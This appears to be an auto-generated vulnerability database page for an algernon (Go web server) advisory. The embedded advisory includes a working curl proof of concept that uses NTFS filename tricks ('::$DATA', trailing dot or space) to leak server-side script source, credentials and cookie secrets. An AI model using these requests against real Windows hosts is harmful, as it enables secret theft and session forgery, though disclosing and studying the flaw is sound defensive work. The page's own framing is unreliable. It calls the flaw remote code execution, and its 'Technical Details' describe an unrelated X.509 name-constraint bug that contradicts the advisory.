CVE-2026-52792: Github.com/xyproto/algernon Remote Code Execution Vulnerability
HIGHCVE-2026-52792 is a HIGH remote code execution vulnerability (CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream) affecting Github.com/xyproto/algernon libraries in the Go ecosystem. The issue involves algernon vulnerable to server-side script source disclosure on windows via ntfs filename. Remediation is available by upgrading affected packages to version 1.17.9.
CVE-2026-52792 at a Glance
How to Fix CVE-2026-52792
To remediate this vulnerability, upgrade all affected Github.com/xyproto/algernon dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/xyproto/algernon to 1.17.9
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/xyproto/algernon
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-52792, inspect your project dependencies for Github.com/xyproto/algernon:
inspect dependencies for github.com/xyproto/algernon
Analyze the terminal output to locate any version of Github.com/xyproto/algernon in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.17.9), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & RFC 5280 Specification
Under RFC 5280 specifications for X.509 certificates, the Name Constraints extension defines a namespace within which all subsequent subject names in a certification path must be located. Constraints apply to various name forms including directory names, IP addresses, rfc822Name (email addresses), and uniformResourceIdentifier (URI) entries. Specifically, during certificate path validation, affected versions of Github.com/xyproto/algernon failed to properly normalize or enforce boundary checks when domain names contained trailing dot (.) characters. Because domain names with a trailing dot signify fully qualified domain names (FQDNs), this omission allowed non-conforming certificates to be improperly validated as compliant with the defined name constraints.
Source Advisory Statement
CVE-2026-52792 Affected Github.com/xyproto/algernon Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/xyproto/algernon
|
Go |
< 1.17.9
|
1.17.9
|
References
Frequently Asked Questions
What is CVE-2026-52792?
Which Github.com/xyproto/algernon versions are affected?
What version fixes CVE-2026-52792?
Is github.com/xyproto/algernon affected?
What CWE is associated with CVE-2026-52792?
How can I check Go dependencies for CVE-2026-52792?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-mm6c-5j6x-hq8m",
"modified" : "2026-07-02T20:46:43Z",
"published" : "2026-07-02T20:46:42Z",
"aliases" : [ "CVE-2026-52792" ],
"summary" : "Algernon vulnerable to server-side script source disclosure on Windows via NTFS filename",
"details" : "### Summary\n\nAlgernon selects its file handler from `filepath.Ext()` (engine/handlers.go:134), which does not treat the NTFS-equivalent names `x.lua::$DATA`, `x.lua.`, or `x.lua ` as `.lua`. On Windows, an unauthenticated client appends one of these suffixes to any server-side script on a public path and receives its raw source instead of executed output, leaking embedded secrets such as database credentials and the `SetCookieSecret` value.\n\nLinux and macOS hosts are unaffected.\n\n### Preconditions\n\n- Algernon runs on a Windows host (NTFS filesystem).\n- The instance serves at least one server-side script (`.lua`, `.tl`, `.po2`, `.amber`, `.frm`).\n- The script sits on a public path, or no auth backend is configured (`--nodb`, `--simple`, or default no-DB).\n- HTTP/HTTPS reachability to the server.\n\n### Details\n\n```go\n// engine/handlers.go:133\nlowercaseFilename := strings.ToLower(filename)\next := filepath.Ext(lowercaseFilename) // \"index.lua::$data\" -> \".lua::$data\", not \".lua\" [offending]\n...\nif ac.dispatchRenderer(w, req, filename, ext) { // ext unrecognised, returns false\n return\n}\nswitch ext {\ncase \".lua\", \".tl\": // execute the script -- never reached for the equivalent forms\n // ... RunLua ...\ndefault:\n // control reaches the raw-file branch below\n}\n```\n\n```go\n// engine/handlers.go:452\nf, err := os.Open(filename) // NTFS resolves \"index.lua::$DATA\" to index.lua's data stream\n...\n// engine/handlers.go:479\nif dataBlock, err := ac.ReadAndLogErrors(w, filename, ext); err == nil {\n dataBlock.ToClient(w, req, filename, ac.ClientCanGzip(req), gzipThreshold) // raw source to client\n}\n```\n\nThe request path reaches `FilePage` through `URL2filename` (utils/files.go:24), which rejects only `..`; a `:`, a trailing `.`, and a trailing space all pass through into `filename`. `filepath.Ext` does an exact suffix match, so `.lua::$data`, `.`, and `.lua ` are not equal to `.lua` or `.tl`. The renderer registry and the execute case are both skipped and control falls to the `default` branch.\n\nThe default branch opens `filename` with `os.Open` and streams the bytes verbatim. On Windows, NTFS canonicalises the alternate-data-stream suffix `::$DATA`, a trailing dot, and a trailing space back to the underlying file, so the bytes returned are the real script source. The missing check: Algernon never rejects or canonicalises Windows-equivalent filenames before choosing a handler.\n\n### Proof of concept\n\n**Setup**\n\n1. Build Algernon from source on a Windows host:\n\n ```powershell\n git clone https://github.com/xyproto/algernon\n cd algernon\n git checkout v1.17.8\n go build -o algernon.exe .\n ```\n\n2. Create a web root with a script that embeds secrets, exactly as a real handler would:\n\n ```powershell\n New-Item -ItemType Directory webroot | Out-Null\n Set-Content webroot\\index.lua @'\n -- db = POSTGRES(\"postgres://app:S3cr3t@db/prod\")\n SetCookieSecret(\"hardcoded-session-key\")\n print(\"<h1>hello</h1>\")\n '@\n ```\n\n3. Serve the directory over plain HTTP with no auth backend (run in its own window):\n\n ```powershell\n .\\algernon.exe --httponly --noninteractive --nodb --addr ':8088' --dir .\\webroot\n ```\n\n**Exploit**\n\n1. Request the script normally. It executes, and the source is not disclosed:\n\n ```powershell\n curl.exe -s http://127.0.0.1:8088/index.lua\n ```\n\n Expected: `<h1>hello</h1>`. The DSN and cookie secret are absent from the response.\n\n2. Request the same script through its NTFS `::$DATA` stream. Algernon returns the raw source:\n\n ```powershell\n curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua::$DATA'\n ```\n\n Expected: HTTP 200, `Content-Type: application/octet-stream`, body is the verbatim Lua source including `SetCookieSecret(\"hardcoded-session-key\")` and the Postgres DSN.\n\n3. The trailing-dot and trailing-space forms leak the same source:\n\n ```powershell\n curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua.'\n curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua%20'\n ```\n\n Expected: identical raw-source response for both.\n\n### Impact\n\n- **Confidentiality:** Reads the verbatim source of any public-path server-side script, exposing hardcoded DB credentials, API keys, and `SetCookieSecret(...)` values.\n- **Authentication:** A disclosed `SetCookieSecret` value lets an unauthenticated attacker forge session cookies and log in as any user.\n\n### Suggestions to fix\n\n> _This has not been tested - it is illustrative only._\n\nReject request paths whose final segment uses a Windows-equivalent form (alternate data stream, trailing dot, or trailing space) before extension dispatch.\n\n```diff\n func (ac *Config) FilePage(w http.ResponseWriter, req *http.Request, filename, luaDataFilename string) {\n+\t// Reject Windows filename-equivalent forms that alias a different file\n+\t// than filepath.Ext sees (e.g. \"x.lua::$DATA\", \"x.lua.\", \"x.lua \").\n+\tif base := filepath.Base(filename); strings.ContainsRune(base, ':') ||\n+\t\tstrings.HasSuffix(base, \".\") || strings.HasSuffix(base, \" \") {\n+\t\thttp.NotFound(w, req)\n+\t\treturn\n+\t}\n \tif ac.quitAfterFirstRequest {\n \t\tgo ac.quitSoon(\"Quit after first request\", defaultSoonDuration)\n \t}\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/xyproto/algernon"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.17.9"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.17.8"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/xyproto/algernon/security/advisories/GHSA-mm6c-5j6x-hq8m"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/xyproto/algernon"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-69" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-02T20:46:42Z",
"nvd_published_at" : null
}
}